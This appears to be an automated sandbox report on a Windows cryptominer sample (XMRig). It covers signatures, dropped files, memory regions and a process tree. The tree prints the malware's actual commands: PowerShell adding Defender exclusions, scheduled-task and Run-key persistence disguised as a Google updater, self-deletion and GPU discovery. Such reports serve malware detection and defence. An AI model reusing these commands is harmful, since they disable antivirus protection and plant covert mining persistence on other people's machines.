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Analysis

  • max time kernel
    1488s
  • max time network
    1803s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
  • Size 2.0MB
  • Sample240123-x6bvbafgem
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 31 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1188
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1992
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2696
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2168
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:2692
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"
        2⤵
        • Deletes itself
        • Suspicious use of WriteProcessMemory
        PID:2700
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2556
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:1652
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1800
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
          2⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2704
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
            3⤵
            • Creates scheduled task(s)
            PID:1464
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe qtdiqnkejoz
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious behavior: EnumeratesProcesses
          PID:1308
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          PID:2060
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          • Suspicious use of WriteProcessMemory
          PID:2956
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2968
      • C:\Windows\System32\choice.exe
        choice /C Y /N /D Y /T 3
        1⤵
          PID:2560
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {81E46B3C-80B2-4614-B479-C2428E29C337} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2004
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2844
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic PATH Win32_VideoController GET Name, VideoProcessor
          1⤵
          • Detects videocard installed
          • Modifies data under HKEY_USERS
          • Suspicious use of AdjustPrivilegeToken
          PID:2608

        Network

              MITRE ATT&CK Enterprise v15

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              Downloads

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 599KB
              • SHA256 a922ed60a03c51f3a1b712bd6967c47da07c52fa55b090959f71677f2f742028
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 296KB
              • SHA256 cb4c1cc9a6dfc999982efe6a9f3543fa9b977fefb58dcec0de7f371833ff66fa
              • MD5 SHA1 SHA512 SSDEEP

              g.log

              • Path C:\Program Files\Google\Libs\g.log
              • Size 198B
              • SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
              • MD5 SHA1 SHA512

              UK2R2S1D5KOFMX6I6O5A.temp

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UK2R2S1D5KOFMX6I6O5A.temp
              • Size 7KB
              • SHA256 3b29adf81af476bf40e52fbb0334705a825682e6dc526a40d89c265f5e28b5a3
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path \Program Files\Google\Chrome\updater.exe
              • Size 744KB
              • SHA256 9051a6fb22f54bdeecb0f7d3dfc0ade4eefbed957d90c9c9c90cb85c82899c45
              • MD5 SHA1 SHA512 SSDEEP

              memory/1308-71-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/1308-75-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/1800-50-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

              memory/1800-49-0x00000000001C0000-0x0000000000240000-memory.dmp

              memory/1800-48-0x00000000001C0000-0x0000000000240000-memory.dmp

              memory/1800-51-0x00000000001C0000-0x0000000000240000-memory.dmp

              memory/1800-47-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

              memory/1800-52-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

              memory/1992-0-0x000000013F060000-0x000000013F271000-memory.dmp

              memory/1992-29-0x000000013F060000-0x000000013F271000-memory.dmp

              memory/2168-23-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

              memory/2168-22-0x0000000002690000-0x0000000002710000-memory.dmp

              memory/2168-26-0x0000000002690000-0x0000000002710000-memory.dmp

              memory/2168-25-0x0000000002690000-0x0000000002710000-memory.dmp

              memory/2168-20-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

              memory/2168-21-0x0000000001F80000-0x0000000001F88000-memory.dmp

              memory/2168-24-0x0000000002690000-0x0000000002710000-memory.dmp

              memory/2168-27-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

              memory/2168-19-0x000000001B0C0000-0x000000001B3A2000-memory.dmp

              memory/2556-41-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

              memory/2556-36-0x0000000002760000-0x00000000027E0000-memory.dmp

              memory/2556-37-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

              memory/2556-39-0x0000000002760000-0x00000000027E0000-memory.dmp

              memory/2556-35-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

              memory/2556-40-0x0000000002760000-0x00000000027E0000-memory.dmp

              memory/2556-38-0x0000000002760000-0x00000000027E0000-memory.dmp

              memory/2696-13-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

              memory/2696-7-0x0000000002600000-0x0000000002680000-memory.dmp

              memory/2696-8-0x0000000002260000-0x0000000002268000-memory.dmp

              memory/2696-5-0x000000001B0F0000-0x000000001B3D2000-memory.dmp

              memory/2696-6-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

              memory/2696-12-0x0000000002600000-0x0000000002680000-memory.dmp

              memory/2696-10-0x0000000002600000-0x0000000002680000-memory.dmp

              memory/2696-11-0x0000000002600000-0x0000000002680000-memory.dmp

              memory/2696-9-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

              memory/2704-57-0x00000000010B0000-0x0000000001130000-memory.dmp

              memory/2704-54-0x00000000010B0000-0x0000000001130000-memory.dmp

              memory/2704-58-0x00000000010B0000-0x0000000001130000-memory.dmp

              memory/2704-59-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

              memory/2704-55-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

              memory/2704-53-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

              memory/2704-56-0x00000000010B0000-0x0000000001130000-memory.dmp

              memory/2844-66-0x000000013F200000-0x000000013F411000-memory.dmp

              memory/2844-45-0x000000013F200000-0x000000013F411000-memory.dmp

              memory/2968-89-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-100-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-69-0x0000000000270000-0x0000000000290000-memory.dmp

              memory/2968-72-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-74-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-68-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-77-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-76-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-78-0x0000000000270000-0x0000000000290000-memory.dmp

              memory/2968-81-0x0000000000290000-0x00000000002B0000-memory.dmp

              memory/2968-80-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-83-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-85-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-87-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-67-0x00000000000B0000-0x00000000000D0000-memory.dmp

              memory/2968-91-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-98-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-70-0x0000000000290000-0x00000000002B0000-memory.dmp

              memory/2968-102-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-104-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-106-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-108-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-110-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-112-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-114-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-116-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-118-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-120-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-122-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-124-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-126-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-128-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-130-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-132-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-134-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2968-136-0x0000000140000000-0x00000001407F4000-memory.dmp